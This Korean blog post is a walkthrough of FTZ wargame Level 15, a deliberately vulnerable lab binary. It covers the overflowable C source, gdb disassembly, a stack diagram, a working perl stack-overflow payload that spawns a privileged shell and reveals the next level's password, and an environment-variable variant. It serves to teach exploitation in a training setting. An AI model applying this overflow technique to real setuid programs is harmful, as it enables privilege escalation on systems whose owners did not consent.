본문 바로가기

Learning/└◆Reversing

15_Level15 -> Level16[FTZ] 루틴 분기 키값의 이해 2


 ■ Level15 -> Level16


 

 

■ 목적

루틴 분기 키값에 대한 이해 2

메모리 값을 바꾸는 것과 메모리에서 가리키는 주소의 값을 바꾸는 것에 대한 차이점 이해

 

 

■ Level15 풀이

 

level8 사용자 로그인

-> ID/PASS : level15/guess what

 

$ cat hint

#include <stdio.h>

 

main() {

     int crap;                      /* crack 변수 선언 */

     int *check;                    /* *check 포인터 변수 선언 */

     char buf[20];                           /* buf[20] 배열 선언 */

     fgets(buf,45,stdin);                 /* 키보드로 입력받은 문자열을 buf[20]에 할당 */

     if (*check==0xdeadbeef)            /* check 포인터가 0xdeadbeef 문자열을 가리키는지 확인 */

 

     {

     setreuid(3096,3096);                /* level15 권한 설정 */

     system("/bin/sh");                   /* 배시쉘 실행 */

     }

}

 

14레벨과 비슷한 소스인데 여기서는 check를 포인터 변수로 선언했다. 메모리 주소가 일정하지 않고 매번 바뀐다. 포인터를 찾조해서 그 값이 | deadbeef여야 쉘을 얻는다.

즉 deadbeef를 가르키고 있는 주소의 값을 넣어주면 된다.

 

[참고] int *check
포인터변수를 말한다. 포인터변수란 메모리의 주소값을 가지는 변수이다. 그래서 포인터변수로

선언된 이상 *check에 어떤 값이 들어가든지 그 값은 메모리의 주소값으로 인식된다.

 

그래서 *check라는 변수를 참조하여 화면에 출력하라고 한다면, 단순히 *check에 들어가있는

메모리의 주소값 자체를 화면에 출력하지 않고, 그 주소에 해당하는 메모리의 내용을 화면에 출력하게 된다.

 

[참고] if (*check==0xdeadbeef)
만약에 *check안에 들어있는 메모리주소에 해당되는 메모리의 내용이 0xdeadbeef와 같다면.

 

 

이해를 돕기위해 임의소스를 코딩한다.

$ vi distance.c

#include <stdio.h>


main()

{

  int crap;

  int *check;

  char buf[20];

  fgets(buf,45,stdin);

  if (*check==0xdeadbeef)

   {

     setreuid(3096,3096);

     system("/bin/sh");

   }

   printf("Input is : %s\n &buf   : %p\n &check : %p\n &crap  : %p\n", buf, buf, &c

heck, &crap);

}

 

$ gcc -o distance distance.c

$ ./distance

AAAA

Input is : AAAA
     &buf     : 0xbffff2a0
     &check : 0xbffff2c8
     &crap   : 0xbffff2cc

 

&check(0xbfffe1c8) - &buf(0xbfffe1a0)   =
&crap(0xbfffe1cc)  - &check(0xbfffe1c8) =

위 힌트를 참고해서 메모리의 스택 그림을 그린다.

 

 

다음은 디스어셈블러 과정을 통해 분석한다.

$ gdb -q attackme

(gdb) disas main
Dump of assembler code for function main:
0x08048490 <main+0>:    push   %ebp
0x08048491 <main+1>:    mov    %esp,%ebp
0x08048493 <main+3>:    sub    $0x38,%esp                       56 bytes
0x08048496 <main+6>:    sub    $0x4,%esp
0x08048499 <main+9>:    pushl  0x8049664
0x0804849f <main+15>:   push   $0x2d
0x080484a1 <main+17>:   lea    0xffffffc8(%ebp),%eax               45 byte
0x080484a4 <main+20>:   push   %eax
0x080484a5 <main+21>:   call   0x8048360 <fgets>
0x080484aa <main+26>:   add    $0x10,%esp
0x080484ad <main+29>:   mov    0xfffffff0(%ebp),%eax               16 byte
0x080484b0 <main+32>:   cmpl   $0xdeadbeef,(%eax)
0x080484b6 <main+38>:   jne    0x80484dd <main+77>
0x080484b8 <main+40>:   sub    $0x8,%esp
0x080484bb <main+43>:   push   $0xc18
0x080484c0 <main+48>:   push   $0xc18
0x080484c5 <main+53>:   call   0x8048380 <setreuid>
0x080484ca <main+58>:   add    $0x10,%esp
0x080484cd <main+61>:   sub    $0xc,%esp
0x080484d0 <main+64>:   push   $0x8048548
0x080484d5 <main+69>:   call   0x8048340 <system>
0x080484da <main+74>:   add    $0x10,%esp
0x080484dd <main+77>:   leave
0x080484de <main+78>:   ret
0x080484df <main+79>:   nop
End of assembler dump.

 

 

전 레벨과 동일한 구조형태를 보이고 있다.

 56 bytes = 20 bytest + 4bytes + 4bytes + (?)

         = 28 + (?)

         -> 따라서 dummy 공간이 28 bytes 존재한다.

         -> ffffffc8은 16byte이기 때문에 crap 다음에 오는 dummy는 8byte가 된다.

--------------------------------------------------------------------
    20                  20          4            4           8          4         4
char buf[20]    dummy     check     crap    dummy    SFP     RET
--------------------------------------------------------------------

 

디스어셈블러를 다시한번 자세히 분석한다.

$ dgb -q attackme

.............
End of assembler dump.

(gdb) b *0x080484b0

Breakpoint 1 at 0x80484b0

(gdb) run

Starting program: /home/level15/tmp/attackme

AAAA


Breakpoint 1, 0x080484b0 in main ()

(gdb) x/16x main

0x8048490 <main>:       0x83e58955      0xec8338ec      0x6435ff04      0x6a080496

0x80484a0 <main+16>:    0xc8458d2d      0xfeb6e850      0xc483ffff      0xf0458b10

0x80484b0 <main+32>:    0xbeef3881      0x2575dead      0x6808ec83      0x00000c18

0x80484c0 <main+48>:    0x000c1868      0xfeb6e800      0xc483ffff      0x0cec8310


(gdb) x/x 0x80484b2
0x80484b2 <main+34>:    0xdeadbeef

 

main + 32 지점에 브포를 걸어주고 check 포인터 변수의 위치를 알아내야 한다.

이 과정에서 cmpl부터 deadbeef 가 들어있는 주소 값을 찾는다

x/x main+32

x/x main+33
x/x main+34
x/x main+35

....

 

0xdeabeef가 들어있는 주소를 찾고 주소 값을 넣어서 진행한다.

deadbeef가 들어있는 주소값 b0(40byte) 에서 32byte 다음에 주소값이 나왔다.
 

 

$ (perl -e 'print "A"x40, "\xb2\x84\x04\x08"';cat)|/home/level15/attackme

id
uid-3096(level16) gid=3095(level15) groups=3095(level15)

my-pass
Level16 Password is "about to cause mass".
 

 

 

쉽게 설명하면 buf에 0xdeadbeef를 넣고 check가 buf를 가리키도록하면 그 주소값이 들어가서

문제를 풀 수 있다. 결론적으로 ebp의 주소를 찾으면 되는 것이다.(리턴 어드레스 값)

 


 

 

■ Exploit code(공격용 코드)

 

위 문제를 환경변수로 우회하는 방법

SHELLCODE라는 환경변수 0xdeadbeef를 넣고 값이 들어있는 것을 확인
$ export SHELLCODE=`python -c 'print"\xef\xbe\xad\xde"'`
$ echo $SHELLCODE

#include <stdio.h>

 

 

#include <string.h>

int main(int argc, char *argv[]) {

     printf("%p\n",getenv(argv[1]));

 

결과값 출력
0xbffffc3a

[실행해도 안될때]
실행하는 파일의 길이에 따라 시작주소가 바뀌어서
환경변수까지 계속 바뀌어져 버린다.
그래서 몇번의 시행창오후 시작주소는 한문자씩 줄어들때 마다 2byte증가하고
사용하는 ./attackme에서는 환경변수가 0xbffffc3e에 있다는 사실을 알아냈다.
바뀐 환경변수를 코드에 넣으면 해결할 수 있다.

 

 

 

buf주소 알아내는 방법

#include <stdio.h>


main()

{

  int crap;

  int *check;

  char buf[20];

  fgets(buf,45,stdin);

  if (*check==0xdeadbeef)

   {

     setreuid(3096,3096);

     system("/bin/sh");

   }

   printf("Input is : %s\n &buf   : %p\n &check : %p\n &crap  : %p\n", buf, buf, &c

heck, &crap);

}

 

#include <stdio.h>


main()

{

  int crap;

  int *check;

  char buf[20];

  fgets(buf,45,stdin);

      

  printf("bufadress : %x\n",&buf); <-- buf의 주소를 출력하는 라인  

 

  if (*check==0xdeadbeef)

   {

     setreuid(3096,3096);

     system("/bin/sh");

   } 

}